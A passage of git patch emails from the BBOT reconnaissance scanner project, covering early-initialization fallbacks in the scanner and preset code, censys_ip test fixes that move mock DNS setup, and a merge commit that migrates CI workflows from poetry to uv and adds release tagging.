web_config.get("http_cookies", {}) if self.custom_http_cookies: self.warning( "You have enabled custom HTTP cookies. These will be attached to all in-scope requests and all requests made by httpx." @@ -562,8 +565,18 @@ async def load_modules(self): After all modules are loaded, they are sorted by `_priority` and stored in the `modules` dictionary. """ if not self._modules_loaded: + # If the preset hasn't been baked yet but modules have been + # manually attached (e.g. in tests), skip the automatic loading + # pipeline and operate only on the existing modules. + if self.preset is None: + if not self.modules: + self.warning("No modules to load") + self._modules_loaded = True + return + if not self.preset.modules: self.warning("No modules to load") + self._modules_loaded = True return if not self.preset.scan_modules: @@ -897,9 +910,15 @@ async def _cleanup(self): # clean up modules for mod in self.modules.values(): await mod._cleanup() - with contextlib.suppress(Exception): - self.home.rmdir() - self.helpers.rm_rf(self.temp_dir, ignore_errors=True) + # In some test paths, `_prep()` is never called, so `home` and + # `temp_dir` may not exist. Treat those as best-effort cleanups. + home = getattr(self, "home", None) + if home is not None: + with contextlib.suppress(Exception): + home.rmdir() + temp_dir = getattr(self, "temp_dir", None) + if temp_dir is not None: + self.helpers.rm_rf(temp_dir, ignore_errors=True) self.helpers.clean_old_scans() def in_scope(self, *args, **kwargs): @@ -913,11 +932,29 @@ def blacklisted(self, *args, **kwargs): @property def core(self): - return self.preset.core + # Before `_prep()` runs, fall back to the unbaked preset's core so that basic configuration is still available (during module construction in tests) + if self.preset is not None: + return self.preset.core + return self._unbaked_preset.core @property def config(self): - return self.preset.core.config + # Allow access to the scan config even before `_prep()` by falling back to the unbaked preset's core config. + if self.preset is not None: + return self.preset.core.config + return self._unbaked_preset.core.config + + @property + def web_config(self): + """ + Web-related configuration for the scan. + + Exposed as a property so it is available even before `_prep()` runs, + falling back to the underlying config's `web` section. During `_prep()` + an instance attribute of the same name is assigned, which will then + override this property for the remainder of the scan lifetime. + """ + return self.config.get("web", {}) @property def target(self): @@ -992,12 +1029,15 @@ def status(self, status): if status != self._status: self._status = status self._status_code = self._status_codes[status] - self.dispatcher_tasks.append( - asyncio.create_task( - self.dispatcher.catch(self.dispatcher.on_status, self._status, self.id), - name=f"{self.name}.dispatcher.on_status({status})", + # During early initialization (or in certain tests),`dispatcher` may not be set yet. In that case we just update the status without scheduling dispatcher tasks + dispatcher = getattr(self, "dispatcher", None) + if dispatcher is not None: + self.dispatcher_tasks.append( + asyncio.create_task( + dispatcher.catch(self.dispatcher.on_status, self._status, self.id), + name=f"{self.name}.dispatcher.on_status({status})", + ) ) - ) else: self.debug(f'Scan status is already "{status}"') else: From 48f76ba5bf355e0c3dbd6f9e8850d07ddabe3a33 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 5 Dec 2025 12:39:52 -0500 Subject: [PATCH 125/129] lint --- bbot/scanner/scanner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 597abc6f3d..edbbd65344 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -939,7 +939,7 @@ def core(self): @property def config(self): - # Allow access to the scan config even before `_prep()` by falling back to the unbaked preset's core config. + # Allow access to the scan config even before `_prep()` by falling back to the unbaked preset's core config. if self.preset is not None: return self.preset.core.config return self._unbaked_preset.core.config From c2052a4a2d7a03c35d5e4d263493c2aa7a691e13 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 5 Dec 2025 13:21:46 -0500 Subject: [PATCH 126/129] more early preset handling changes --- bbot/core/helpers/web/web.py | 5 +---- bbot/scanner/preset/preset.py | 23 +++++++++++++++++++++++ 2 files changed, 24 insertions(+), 4 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 60ff35dd59..8627d1e159 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -56,10 +56,7 @@ def __init__(self, parent_helper): self.target = self.preset.target self.ssl_verify = self.config.get("ssl_verify", False) engine_debug = self.config.get("engine", {}).get("debug", False) - super().__init__( - server_kwargs={"config": self.config, "target": self.parent_helper.preset.target}, - debug=engine_debug, - ) + super().__init__(server_kwargs={"config": self.config, "target": self.target}, debug=engine_debug) def AsyncClient(self, *args, **kwargs): # cache by retries to prevent unwanted accumulation of clients diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 9613823b3d..8ec56a1a65 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -600,11 +600,34 @@ def apply_log_level(self, apply_core=False): @property def helpers(self): if self._helpers is None: + # Ensure we have at least a minimal target object before any helper (especially web helpers) is constructed. + + self._ensure_minimal_target() from bbot.core.helpers.helper import ConfigAwareHelper self._helpers = ConfigAwareHelper(preset=self) return self._helpers + def _ensure_minimal_target(self): + """ + Lazily construct a minimal BBOTTarget from the current seeds / whitelist / blacklist if one does not already exist. + + This is intentionally lighter-weight than the full async target + preparation performed in `bake()` (which also calls + `target.generate_children()`). + """ + if self._target is not None: + return + + from bbot.scanner.target import BBOTTarget + + self._target = BBOTTarget( + *list(self._seeds), + whitelist=self._whitelist, # modify this after scope rework branch is merged into dev + blacklist=self._blacklist, + strict_scope=self.strict_scope, + ) + @property def module_loader(self): self.environ From 509da46beee070e8ff0fdf63c6d2151f43a3260b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 18 Feb 2026 13:43:32 -0500 Subject: [PATCH 127/129] fix tests --- .../module_tests/test_module_censys_ip.py | 48 +++++++++++-------- 1 file changed, 27 insertions(+), 21 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py index 4aff673486..3ef6f71b13 100644 --- a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py +++ b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py @@ -6,25 +6,6 @@ class TestCensys_IP(ModuleTestBase): config_overrides = {"modules": {"censys_ip": {"api_key": "api_id:api_secret"}}} async def setup_before_prep(self, module_test): - await module_test.mock_dns( - { - "wildcard.evilcorp.com": { - "A": ["1.2.3.4"], - }, - "certname.evilcorp.com": { - "A": ["1.2.3.4"], - }, - "certsubject.evilcorp.com": { - "A": ["1.2.3.4"], - }, - "reversedns.evilcorp.com": { - "A": ["1.2.3.4"], - }, - "ptr.evilcorp.com": { - "A": ["1.2.3.4"], - }, - } - ) module_test.httpx_mock.add_response( url="https://search.censys.io/api/v1/account", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, @@ -135,6 +116,27 @@ async def setup_before_prep(self, module_test): }, ) + async def setup_after_prep(self, module_test): + await module_test.mock_dns( + { + "wildcard.evilcorp.com": { + "A": ["1.2.3.4"], + }, + "certname.evilcorp.com": { + "A": ["1.2.3.4"], + }, + "certsubject.evilcorp.com": { + "A": ["1.2.3.4"], + }, + "reversedns.evilcorp.com": { + "A": ["1.2.3.4"], + }, + "ptr.evilcorp.com": { + "A": ["1.2.3.4"], + }, + } + ) + def check(self, module_test, events): # Check OPEN_UDP_PORT event for DNS assert any(e.type == "OPEN_UDP_PORT" and e.data == "1.2.3.4:53" for e in events), ( @@ -226,7 +228,6 @@ class TestCensys_IP_InScopeOnly(ModuleTestBase): config_overrides = {"modules": {"censys_ip": {"api_key": "api_id:api_secret", "in_scope_only": True}}} async def setup_before_prep(self, module_test): - await module_test.mock_dns({"evilcorp.com": {"A": ["1.1.1.1"]}}) module_test.httpx_mock.add_response( url="https://search.censys.io/api/v1/account", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, @@ -248,6 +249,9 @@ async def setup_before_prep(self, module_test): }, ) + async def setup_after_prep(self, module_test): + await module_test.mock_dns({"evilcorp.com": {"A": ["1.1.1.1"]}}) + def check(self, module_test, events): # Should NOT have queried the IP since it's out of scope assert not any(e.type == "OPEN_TCP_PORT" and "1.1.1.1" in e.data for e in events), ( @@ -267,7 +271,6 @@ class TestCensys_IP_OutOfScope(ModuleTestBase): } async def setup_before_prep(self, module_test): - await module_test.mock_dns({"evilcorp.com": {"A": ["1.1.1.1"]}}) module_test.httpx_mock.add_response( url="https://search.censys.io/api/v1/account", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, @@ -289,6 +292,9 @@ async def setup_before_prep(self, module_test): }, ) + async def setup_after_prep(self, module_test): + await module_test.mock_dns({"evilcorp.com": {"A": ["1.1.1.1"]}}) + def check(self, module_test, events): # Should have queried the IP since in_scope_only=False assert any(e.type == "OPEN_TCP_PORT" and e.data == "1.1.1.1:80" for e in events), ( From c66d86cd2d773b052071b8a8deb5d97344287719 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 28 Feb 2026 14:06:41 -0500 Subject: [PATCH 128/129] Merge asn-as-targets into virtualhost-upgrade Resolve conflicts taking asn-as-targets as source of truth. Move bake()+init into Scanner.__init__ (sync bake). Convert generic_ssrf from VULNERABILITY to FINDING event type. Fix virtualhost test to check FINDING instead of VULNERABILITY. Keep generic_ssrf module (deleted on asn-as-targets, restored here). --- .github/workflows/benchmark.yml | 141 +- .github/workflows/distro_tests.yml | 10 +- .github/workflows/docs_updater.yml | 8 +- .github/workflows/tests.yml | 99 +- bbot/__init__.py | 10 +- bbot/_version.py | 1 + bbot/cli.py | 5 +- bbot/constants.py | 72 + bbot/core/config/logger.py | 6 +- bbot/core/engine.py | 20 + bbot/core/event/base.py | 135 +- bbot/core/helpers/depsinstaller/installer.py | 99 +- bbot/core/helpers/helper.py | 1 + bbot/core/helpers/validators.py | 16 +- bbot/core/helpers/web/client.py | 6 +- bbot/core/modules.py | 5 +- bbot/defaults.yml | 11 +- bbot/models/helpers.py | 20 + bbot/models/pydantic.py | 158 + bbot/{db/sql/models.py => models/sql.py} | 46 +- bbot/modules/ajaxpro.py | 14 +- bbot/modules/aspnet_bin_exposure.py | 6 +- bbot/modules/baddns.py | 9 +- bbot/modules/baddns_direct.py | 5 +- bbot/modules/baddns_zone.py | 2 +- bbot/modules/badsecrets.py | 9 +- bbot/modules/base.py | 80 +- bbot/modules/bypass403.py | 12 +- bbot/modules/censys_ip.py | 16 +- bbot/modules/deadly/legba.py | 1 + bbot/modules/dotnetnuke.py | 23 +- bbot/modules/generic_ssrf.py | 12 +- bbot/modules/git.py | 9 +- bbot/modules/github_org.py | 2 +- bbot/modules/graphql_introspection.py | 10 +- bbot/modules/host_header.py | 11 +- bbot/modules/hunt.py | 8 +- bbot/modules/iis_shortnames.py | 14 +- bbot/modules/internal/dnsresolve.py | 46 +- bbot/modules/internal/excavate.py | 62 +- bbot/modules/{extractous.py => kreuzberg.py} | 64 +- bbot/modules/lightfuzz/lightfuzz.py | 20 +- bbot/modules/lightfuzz/submodules/cmdi.py | 4 +- bbot/modules/lightfuzz/submodules/crypto.py | 15 +- bbot/modules/lightfuzz/submodules/esi.py | 3 + bbot/modules/lightfuzz/submodules/path.py | 8 +- bbot/modules/lightfuzz/submodules/serial.py | 8 +- bbot/modules/lightfuzz/submodules/sqli.py | 12 +- bbot/modules/lightfuzz/submodules/ssti.py | 4 +- bbot/modules/lightfuzz/submodules/xss.py | 3 + bbot/modules/medusa.py | 31 +- bbot/modules/newsletters.py | 9 +- bbot/modules/ntlm.py | 3 + bbot/modules/nuclei.py | 9 +- bbot/modules/oauth.py | 8 +- bbot/modules/output/asset_inventory.py | 10 +- bbot/modules/output/base.py | 3 + bbot/modules/output/discord.py | 4 +- bbot/modules/output/elastic.py | 32 + bbot/modules/output/http.py | 15 +- bbot/modules/output/json.py | 6 +- bbot/modules/output/kafka.py | 48 + bbot/modules/output/mongo.py | 92 + bbot/modules/output/nats.py | 53 + bbot/modules/output/nmap_xml.py | 3 +- bbot/modules/output/rabbitmq.py | 56 + bbot/modules/output/slack.py | 9 +- bbot/modules/output/stdout.py | 18 +- bbot/modules/output/teams.py | 8 +- bbot/modules/output/web_report.py | 4 +- bbot/modules/output/zeromq.py | 46 + bbot/modules/paramminer_cookies.py | 1 - bbot/modules/paramminer_getparams.py | 1 - bbot/modules/reflected_parameters.py | 20 +- bbot/modules/retirejs.py | 2 + bbot/modules/shodan_idb.py | 11 +- bbot/modules/smuggler.py | 9 +- bbot/modules/telerik.py | 38 +- bbot/modules/templates/bucket.py | 9 +- bbot/modules/templates/sql.py | 28 +- bbot/modules/templates/subdomain_enum.py | 4 +- bbot/modules/templates/webhook.py | 34 +- bbot/modules/trufflehog.py | 12 +- bbot/modules/url_manipulation.py | 11 +- bbot/modules/wpscan.py | 23 +- bbot/scanner/dispatcher.py | 13 +- bbot/scanner/manager.py | 15 +- bbot/scanner/preset/args.py | 27 +- bbot/scanner/preset/preset.py | 111 +- bbot/scanner/scanner.py | 310 +- bbot/scanner/stats.py | 2 +- bbot/scanner/target.py | 118 +- bbot/scripts/benchmark_report.py | 12 +- bbot/scripts/docs.py | 2 +- bbot/test/bbot_fixtures.py | 98 +- bbot/test/fastapi_test.py | 2 +- bbot/test/test_step_1/test__module__tests.py | 2 +- bbot/test/test_step_1/test_bbot_fastapi.py | 6 +- bbot/test/test_step_1/test_cli.py | 49 +- bbot/test/test_step_1/test_db_models.py | 93 + bbot/test/test_step_1/test_dns.py | 39 +- bbot/test/test_step_1/test_events.py | 210 +- bbot/test/test_step_1/test_helpers.py | 4 +- .../test_step_1/test_manager_deduplication.py | 14 +- .../test_manager_scope_accuracy.py | 24 +- bbot/test/test_step_1/test_modules_basic.py | 21 +- bbot/test/test_step_1/test_preset_seeds.py | 25 + bbot/test/test_step_1/test_presets.py | 452 +- bbot/test/test_step_1/test_python_api.py | 18 +- bbot/test/test_step_1/test_regexes.py | 2 +- bbot/test/test_step_1/test_scan.py | 65 +- bbot/test/test_step_1/test_scope.py | 61 +- bbot/test/test_step_1/test_target.py | 187 +- bbot/test/test_step_1/test_web.py | 2 +- bbot/test/test_step_2/module_tests/base.py | 22 +- .../module_tests/test_module_ajaxpro.py | 2 +- .../test_module_aspnet_bin_exposure.py | 8 +- .../module_tests/test_module_baddns.py | 6 +- .../module_tests/test_module_baddns_zone.py | 4 +- .../module_tests/test_module_badsecrets.py | 19 +- .../module_tests/test_module_censys_ip.py | 2 +- .../module_tests/test_module_csv.py | 2 +- .../module_tests/test_module_discord.py | 6 +- .../module_tests/test_module_dnscommonsrv.py | 4 +- .../module_tests/test_module_dotnetnuke.py | 17 +- .../module_tests/test_module_elastic.py | 123 + .../module_tests/test_module_excavate.py | 101 +- .../module_tests/test_module_extractous.py | 66 - .../module_tests/test_module_generic_ssrf.py | 22 +- .../module_tests/test_module_gitlab_onprem.py | 2 +- .../test_module_graphql_introspection.py | 2 +- .../module_tests/test_module_http.py | 9 - .../module_tests/test_module_hunt.py | 20 +- .../test_module_iis_shortnames.py | 8 +- .../module_tests/test_module_json.py | 27 +- .../module_tests/test_module_kafka.py | 92 + .../module_tests/test_module_kreuzberg.py | 89 + .../module_tests/test_module_lightfuzz.py | 13 +- .../module_tests/test_module_medusa.py | 4 +- .../module_tests/test_module_mongo.py | 152 + .../module_tests/test_module_mysql.py | 15 +- .../module_tests/test_module_nats.py | 65 + .../module_tests/test_module_nuclei.py | 7 +- .../module_tests/test_module_portscan.py | 6 +- .../module_tests/test_module_postgres.py | 22 +- .../module_tests/test_module_rabbitmq.py | 71 + .../module_tests/test_module_robots.py | 2 +- .../module_tests/test_module_slack.py | 2 +- .../module_tests/test_module_splunk.py | 2 +- .../module_tests/test_module_sqlite.py | 14 + .../module_tests/test_module_stdout.py | 4 +- .../module_tests/test_module_teams.py | 8 +- .../module_tests/test_module_telerik.py | 2 +- .../module_tests/test_module_trufflehog.py | 9 +- .../test_module_url_manipulation.py | 2 +- .../module_tests/test_module_virtualhost.py | 6 +- .../module_tests/test_module_web_report.py | 6 +- .../module_tests/test_module_wpscan.py | 5 +- .../module_tests/test_module_zeromq.py | 46 + .../test_template_subdomain_enum.py | 21 +- docs/data/chord_graph/entities.json | 1170 +++-- docs/data/chord_graph/rels.json | 1009 ++-- docs/dev/dev_environment.md | 16 +- docs/dev/index.md | 12 +- docs/dev/target.md | 2 +- docs/dev/tests.md | 12 +- docs/modules/custom_yara_rules.md | 17 + docs/modules/list_of_modules.md | 2 +- docs/scanning/advanced.md | 10 +- docs/scanning/configuration.md | 6 +- docs/scanning/events.md | 4 +- docs/scanning/index.md | 28 +- docs/scanning/output.md | 25 +- docs/scanning/tips_and_tricks.md | 34 +- poetry.lock | 4303 ----------------- pyproject.toml | 173 +- uv.lock | 3064 ++++++++++++ 177 files changed, 7916 insertions(+), 7123 deletions(-) create mode 100644 bbot/_version.py create mode 100644 bbot/constants.py create mode 100644 bbot/models/helpers.py create mode 100644 bbot/models/pydantic.py rename bbot/{db/sql/models.py => models/sql.py} (77%) rename bbot/modules/{extractous.py => kreuzberg.py} (73%) create mode 100644 bbot/modules/output/elastic.py create mode 100644 bbot/modules/output/kafka.py create mode 100644 bbot/modules/output/mongo.py create mode 100644 bbot/modules/output/nats.py create mode 100644 bbot/modules/output/rabbitmq.py create mode 100644 bbot/modules/output/zeromq.py create mode 100644 bbot/test/test_step_1/test_db_models.py create mode 100644 bbot/test/test_step_1/test_preset_seeds.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_elastic.py delete mode 100644 bbot/test/test_step_2/module_tests/test_module_extractous.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_kafka.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_kreuzberg.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_mongo.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_nats.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_rabbitmq.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_zeromq.py delete mode 100644 poetry.lock create mode 100644 uv.lock diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml index 5b486a8bb5..0b6b94099f 100644 --- a/.github/workflows/benchmark.yml +++ b/.github/workflows/benchmark.yml @@ -18,7 +18,7 @@ permissions: jobs: benchmark: runs-on: ubuntu-latest - + steps: - uses: actions/checkout@v6 with: @@ -29,10 +29,11 @@ jobs: with: python-version: "3.11" + - name: Install uv + uses: astral-sh/setup-uv@v7 + - name: Install dependencies - run: | - pip install poetry - poetry install --with dev + run: uv sync --group dev - name: Install system dependencies run: | @@ -42,7 +43,7 @@ jobs: # Generate benchmark comparison report using our branch-based script - name: Generate benchmark comparison report run: | - poetry run python bbot/scripts/benchmark_report.py \ + uv run python bbot/scripts/benchmark_report.py \ --base ${{ github.base_ref }} \ --current ${{ github.head_ref }} \ --output benchmark_report.md \ @@ -66,101 +67,85 @@ jobs: with: script: | const fs = require('fs'); - - try { - const report = fs.readFileSync('benchmark_report.md', 'utf8'); - - // Find existing benchmark comment (with pagination) + + // Helper: find existing benchmark comments on this PR + async function findBenchmarkComments() { const comments = await github.rest.issues.listComments({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.issue.number, - per_page: 100, // Get more comments per page + per_page: 100, }); - - // Debug: log all comments to see what we're working with + console.log(`Found ${comments.data.length} comments on this PR`); - comments.data.forEach((comment, index) => { - console.log(`Comment ${index}: user=${comment.user.login}, body preview="${comment.body.substring(0, 100)}..."`); - }); - - const existingComments = comments.data.filter(comment => + + const benchmarkComments = comments.data.filter(comment => comment.body.toLowerCase().includes('performance benchmark') && comment.user.login === 'github-actions[bot]' ); - - console.log(`Found ${existingComments.length} existing benchmark comments`); - - if (existingComments.length > 0) { - // Sort comments by creation date to find the most recent - const sortedComments = existingComments.sort((a, b) => + + console.log(`Found ${benchmarkComments.length} existing benchmark comments`); + return benchmarkComments; + } + + // Helper: post or update the benchmark comment + async function upsertComment(body) { + const existing = await findBenchmarkComments(); + + if (existing.length > 0) { + const sorted = existing.sort((a, b) => new Date(b.created_at) - new Date(a.created_at) ); - - const mostRecentComment = sortedComments[0]; - console.log(`Updating most recent benchmark comment: ${mostRecentComment.id} (created: ${mostRecentComment.created_at})`); - + await github.rest.issues.updateComment({ owner: context.repo.owner, repo: context.repo.repo, - comment_id: mostRecentComment.id, - body: report + comment_id: sorted[0].id, + body: body }); - console.log('Updated existing benchmark comment'); - - // Delete any older duplicate comments - if (existingComments.length > 1) { - console.log(`Deleting ${existingComments.length - 1} older duplicate comments`); - for (let i = 1; i < sortedComments.length; i++) { - const commentToDelete = sortedComments[i]; - console.log(`Attempting to delete comment ${commentToDelete.id} (created: ${commentToDelete.created_at})`); - - try { - await github.rest.issues.deleteComment({ - owner: context.repo.owner, - repo: context.repo.repo, - comment_id: commentToDelete.id - }); - console.log(`Successfully deleted duplicate comment: ${commentToDelete.id}`); - } catch (error) { - console.error(`Failed to delete comment ${commentToDelete.id}: ${error.message}`); - console.error(`Error details:`, error); - } + console.log(`Updated benchmark comment: ${sorted[0].id}`); + + // Clean up older duplicates + for (let i = 1; i < sorted.length; i++) { + try { + await github.rest.issues.deleteComment({ + owner: context.repo.owner, + repo: context.repo.repo, + comment_id: sorted[i].id + }); + console.log(`Deleted duplicate comment: ${sorted[i].id}`); + } catch (e) { + console.error(`Failed to delete comment ${sorted[i].id}: ${e.message}`); } } } else { - // Create new comment await github.rest.issues.createComment({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.issue.number, - body: report + body: body }); console.log('Created new benchmark comment'); } - } catch (error) { - console.error('Failed to post benchmark results:', error); - - // Post a fallback comment - const fallbackMessage = [ - '## Performance Benchmark Report', - '', - '> ⚠️ **Failed to generate detailed benchmark comparison**', - '> ', - '> The benchmark comparison failed to run. This might be because:', - '> - Benchmark tests don\'t exist on the base branch yet', - '> - Dependencies are missing', - '> - Test execution failed', - '> ', - '> Please check the [workflow logs](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}) for details.', - '> ', - '> 📁 Benchmark artifacts may be available for download from the workflow run.' - ].join('\\n'); - - await github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - body: fallbackMessage - }); - } \ No newline at end of file + } + + let report; + try { + report = fs.readFileSync('benchmark_report.md', 'utf8'); + } catch (e) { + console.error('Failed to read benchmark report:', e.message); + report = `## Performance Benchmark Report + + > **Failed to generate detailed benchmark comparison** + > + > The benchmark comparison failed to run. This might be because: + > - Benchmark tests don't exist on the base branch yet + > - Dependencies are missing + > - Test execution failed + > + > Please check the [workflow logs](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}) for details. + > + > Benchmark artifacts may be available for download from the workflow run.`; + } + + await upsertComment(report); diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml index 72b73dcacc..63faa46391 100644 --- a/.github/workflows/distro_tests.yml +++ b/.github/workflows/distro_tests.yml @@ -17,7 +17,7 @@ jobs: os: ["ubuntu:22.04", "ubuntu:24.04", "debian", "archlinux", "fedora", "kalilinux/kali-rolling", "parrotsec/security"] steps: - uses: actions/checkout@v6 - - name: Install Python and Poetry + - name: Install Python and uv run: | if [ -f /etc/os-release ]; then . /etc/os-release @@ -51,7 +51,7 @@ jobs: pyenv rehash python3.11 -m pip install --user pipx python3.11 -m pipx ensurepath - pipx install poetry + pipx install uv " - name: Set OS Environment Variable run: echo "OS_NAME=${{ matrix.os }}" | sed 's|[:/]|_|g' >> $GITHUB_ENV @@ -61,9 +61,9 @@ jobs: export PATH="$HOME/.pyenv/bin:$PATH" export PATH="$HOME/.pyenv/shims:$PATH" export BBOT_DISTRO_TESTS=true - poetry env use python3.11 - poetry install - poetry run pytest --reruns 2 --exitfirst -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO . + uv python pin 3.11 + uv sync --group dev + uv run pytest --reruns 2 --exitfirst -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO . - name: Upload Debug Logs if: always() uses: actions/upload-artifact@v6 diff --git a/.github/workflows/docs_updater.yml b/.github/workflows/docs_updater.yml index 94d5222aca..e645461660 100644 --- a/.github/workflows/docs_updater.yml +++ b/.github/workflows/docs_updater.yml @@ -17,13 +17,13 @@ jobs: uses: actions/setup-python@v6 with: python-version: "3.x" + - name: Install uv + uses: astral-sh/setup-uv@v7 - name: Install dependencies - run: | - pip install poetry - poetry install + run: uv sync --group dev - name: Generate docs run: | - poetry run bbot/scripts/docs.py + uv run bbot/scripts/docs.py - name: Create or Update Pull Request uses: peter-evans/create-pull-request@v8 with: diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 40ccbb1ea1..748ededd04 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -17,7 +17,7 @@ jobs: # if one python version fails, let the others finish fail-fast: false matrix: - python-version: ["3.9", "3.10", "3.11", "3.12", "3.13"] + python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"] steps: - uses: actions/checkout@v6 - name: Set up Python @@ -26,17 +26,17 @@ jobs: python-version: ${{ matrix.python-version }} - name: Set Python Version Environment Variable run: echo "PYTHON_VERSION=${{ matrix.python-version }}" | sed 's|[:/]|_|g' >> $GITHUB_ENV + - name: Install uv + uses: astral-sh/setup-uv@v7 - name: Install dependencies - run: | - pip install poetry - poetry install + run: uv sync --group dev - name: Lint run: | - poetry run ruff check - poetry run ruff format --check + uv run ruff check + uv run ruff format --check - name: Run tests run: | - poetry run pytest -vv --reruns 2 -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO --cov-config=bbot/test/coverage.cfg --cov-report xml:cov.xml --cov=bbot . + uv run pytest -vv --reruns 2 -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO --cov-config=bbot/test/coverage.cfg --cov-report xml:cov.xml --cov=bbot . - name: Upload Debug Logs if: always() uses: actions/upload-artifact@v6 @@ -69,14 +69,32 @@ jobs: uses: actions/setup-python@v6 with: python-version: "3.x" - - name: Install dependencies + - name: Install uv + uses: astral-sh/setup-uv@v7 + - name: Calculate version + id: calc_version run: | - python -m pip install --upgrade pip - pip install poetry build - poetry self add "poetry-dynamic-versioning[plugin]" + # Get base version from latest stable tag (exclude rc tags, strip 'v' prefix) + LATEST_STABLE_TAG=$(git describe --tags --abbrev=0 --exclude="*rc*") + BASE_VERSION=$(echo "$LATEST_STABLE_TAG" | sed 's/^v//') + + if [[ "${{ github.ref }}" == "refs/heads/stable" ]]; then + # Stable: clean version from tag + VERSION="$BASE_VERSION" + elif [[ "${{ github.ref }}" == "refs/heads/dev" ]]; then + # Dev: version.distancerc (e.g., 3.0.0.123rc) + DISTANCE=$(git rev-list ${LATEST_STABLE_TAG}..HEAD --count) + VERSION="${BASE_VERSION}.${DISTANCE}rc" + fi + + echo "VERSION=$VERSION" >> $GITHUB_OUTPUT + echo "Calculated version: $VERSION" + + # Write version to file for hatchling to pick up + echo "__version__ = \"$VERSION\"" > bbot/_version.py - name: Build Pypi package if: github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev' - run: python -m build + run: uv build - name: Publish Pypi package if: github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev' uses: pypa/gh-action-pypi-publish@release/v1.13 @@ -85,7 +103,7 @@ jobs: - name: Get BBOT version id: version run: | - FULL_VERSION=$(poetry version | cut -d' ' -f2) + FULL_VERSION="${{ steps.calc_version.outputs.VERSION }}" echo "BBOT_VERSION=$FULL_VERSION" >> $GITHUB_OUTPUT # Extract major.minor (e.g., 2.7 from 2.7.1) MAJOR_MINOR=$(echo "$FULL_VERSION" | cut -d'.' -f1-2) @@ -177,6 +195,28 @@ jobs: done outputs: BBOT_VERSION: ${{ steps.version.outputs.BBOT_VERSION }} + tag_commit: + needs: publish_code + runs-on: ubuntu-latest + if: github.event_name == 'push' && (github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev') + steps: + - uses: actions/checkout@v6 + with: + fetch-depth: 0 + - name: Configure git + run: | + git config --local user.email "info@blacklanternsecurity.com" + git config --local user.name "GitHub Actions" + - name: Tag commit + run: | + VERSION="v${{ needs.publish_code.outputs.BBOT_VERSION }}" + if [[ "${{ github.ref }}" == "refs/heads/stable" ]]; then + git tag -a "$VERSION" -m "Stable Release $VERSION" + else + git tag -a "$VERSION" -m "Dev Release $VERSION" + fi + git push origin "$VERSION" + publish_docs: runs-on: ubuntu-latest if: github.event_name == 'push' && (github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev') @@ -194,10 +234,10 @@ jobs: path: .cache restore-keys: | mkdocs-material- + - name: Install uv + uses: astral-sh/setup-uv@v7 - name: Install dependencies - run: | - pip install poetry - poetry install --only=docs + run: uv sync --only-group docs - name: Configure Git run: | git config user.name github-actions @@ -211,35 +251,12 @@ jobs: - name: Generate docs (stable branch) if: github.ref == 'refs/heads/stable' run: | - poetry run mike deploy Stable + uv run mike deploy Stable - name: Generate docs (dev branch) if: github.ref == 'refs/heads/dev' run: | - poetry run mike deploy Dev + uv run mike deploy Dev - name: Publish docs run: | git switch gh-pages git push - # tag_commit: - # needs: publish_code - # runs-on: ubuntu-latest - # if: github.event_name == 'push' && github.ref == 'refs/heads/stable' - # steps: - # - uses: actions/checkout@v6 - # with: - # ref: ${{ github.head_ref }} - # fetch-depth: 0 # Fetch all history for all tags and branches - # - name: Configure git - # run: | - # git config --local user.email "info@blacklanternsecurity.com" - # git config --local user.name "GitHub Actions" - # - name: Tag commit - # run: | - # VERSION="${{ needs.publish_code.outputs.BBOT_VERSION }}" - # if [[ "${{ github.ref }}" == "refs/heads/dev" ]]; then - # TAG_MESSAGE="Dev Release $VERSION" - # elif [[ "${{ github.ref }}" == "refs/heads/stable" ]]; then - # TAG_MESSAGE="Stable Release $VERSION" - # fi - # git tag -a $VERSION -m "$TAG_MESSAGE" - # git push origin --tags diff --git a/bbot/__init__.py b/bbot/__init__.py index 914c45ff4b..7a87e25d8c 100644 --- a/bbot/__init__.py 